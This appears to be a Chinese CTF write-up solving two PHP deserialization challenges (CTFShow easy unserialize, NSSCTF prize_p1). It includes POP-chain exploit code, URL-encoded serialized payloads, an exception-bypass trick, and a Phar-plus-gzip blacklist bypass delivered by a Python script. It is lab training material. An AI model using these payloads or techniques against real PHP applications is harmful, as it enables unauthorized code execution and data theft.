CTFShow[卷王杯]easy unserialize
源码如下
<?php /** * @Author: F10wers_13eiCheng * @Date: 2022-02-01 11:25:02 * @Last Modified by: F10wers_13eiCheng * @Last Modified time: 2022-02-07 15:08:18 */ include("./HappyYear.php"); class one { public $object; public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { return $this->object->string; } } class second { protected $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } } class third { private $string; public function __construct($string) { $this->string = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); }
简单梳理一下思路,触发MeMeMe
方法为最终目标,以_destruct
为起点,绕过抛出异常的方式同之前即可
接下来看一下它的大致流程
首先触发_destruct
,那这里的add()
无疑是让我们触发_call
魔法方法,因此接下来到_call
这里,发现这里拼接了Me
,那它肯定就指向了addMe()
这个方法,接下来看到$this->filename
,想到触发_toString
魔术方法,接下来根进_toString
方法,发现object->string
,那么这个的话就是触发_get
方法了,因此接着看get()
魔术方法,这个时候就有一个问题,怎么通过$var[$name]();
来进入one类的MeMeMe
方法,我们这里可以控制$var
的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var
赋值为[new one(),MeMeMe]
即可,此时还有一个问题,就是这个MeMeMe
中的function($fn, $prev)
如何理解,接下来我们本地测试一下
发现这个$fn
是变量值,而$prev
则是变量名,因此这里我们新增一个变量名为year_parm
,且其值为Happy_func
即可绕过if语句,接下来就可以去写Exp了
<?php /** * @Author: F10wers_13eiCheng * @Date: 2022-02-01 11:25:02 * @Last Modified by: F10wers_13eiCheng * @Last Modified time: 2022-02-07 15:08:18 */ include("./HappyYear.php"); class one { public $year_parm=array("Happy_func"); public $object; public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { return $this->object->string; } } class second { public $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } } class third { private $string; public function __construct($string) { $this->string = $string; } public function __get($name) { $var = $this->$name; $var[$name](); } } $a=new one(); $a->object=new second(); $a->object->filename=new one(); $a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"])); $b = array($a,NULL); echo urlencode(serialize($b));
得到payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D
接下来解码一下
a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}
修改i:1
为i:0
再进行URL编码,得到最终payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
[NSSCTF]prize_p1
题目环境https://www.ctfer.vip/problem/14
源码如下
<META http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php highlight_file(__FILE__); class getflag { function __destruct() { echo getenv("FLAG"); } } class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
看到file_put_contents
,file_get_contents
以及魔术方法__destruct
,想到这里可以利用Phar反序列化,我们写个文件然后用phar伪协议包含这个文件就可以触发魔术方法,接下来说一下几个需要绕过的点
1、过滤了部分关键词,可以看到flag等关键词被绕过
2、Phar文件含有很多不可见字符,怎么用file_put_contents函数来完整的上传
3、throw new Error的绕过,即绕过抛出异常
对于第一点,我们这里需要知道一个知识,就是当Phar
文件进行gzip压缩后,是不影响其功能的,所以我们这里可以通过对文件进行gzip
压缩来绕过,第二点,当我们使用Python脚本来上传文件时,就可以完整的上传文件,第三点,这算的上是一个老生常谈的问题了,反序列化写数组而后给另一个赋值为0从而绕过。
思路有了,接下来开始解题,首先构造Phar文件
<?php class getflag{ } $a=new getflag(); $b=array($a,0); $phar = new Phar("ph1.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($b); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
运行php文件后得到phar文件,打开文件修改i:1
为i:0
,然后再用脚本得到正确签名
import gzip from hashlib import sha1 file = open("ph1.phar","rb").read() text = file[:-28] #读取开始到末尾除签名外内容 last = file[-8:] #读取最后8位的GBMB和签名flag new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。 open("ph2.phar","wb").write(new_file)
此时就得到了正确的phar文件,接下来构造写入文件的exp
<?php class A { public $config='w'; } $a = new A(); echo serialize($a); ?>
得到写入文件的payload为O:1:"A":1:{s:6:"config";s:1:"w";}
,
同理得到读取文件的payload为O:1:"A":1:{s:6:"config";s:1:"r";}
接下来有phar文件了,我们只需要对文件进行压缩来绕过关键词检测,再借用python脚本和写入文件的payload,就可以上传文件,同时再利用读取文件的payload就可以触发Phar反序列化,得到flag,最终脚本如下
import requests import gzip import re url = 'http://1.14.71.254:28496/' file = open("ph2.phar", "rb") #打开文件 file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象 file_out.writelines(file) file_out.close() file.close() requests.post( url, params={ 0: 'O:1:"A":1:{s:6:"config";s:1:"w";}' }, data={ 0: open('phar.zip', 'rb').read() } ) # 写入 res = requests.post( url, params={ 0: 'O:1:"A":1:{s:6:"config";s:1:"r";}' }, data={ 0: 'phar://tmp/a.txt' } ) # 触发 res.encoding='utf-8' flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] print(flag)
但我这里没有得到flag,看一些师傅说,这里的/tmp/a.txt
无法写入内容,所以就不放flag截图了,思路应该是没什么问题的。
参考文章
https://xz.aliyun.com/t/10961#toc-1
http://blog.m1kael.cn/index.php/archives/14/
https://yangxikun.com/php/2013/08/24/php-garbage-collection-mechanism.html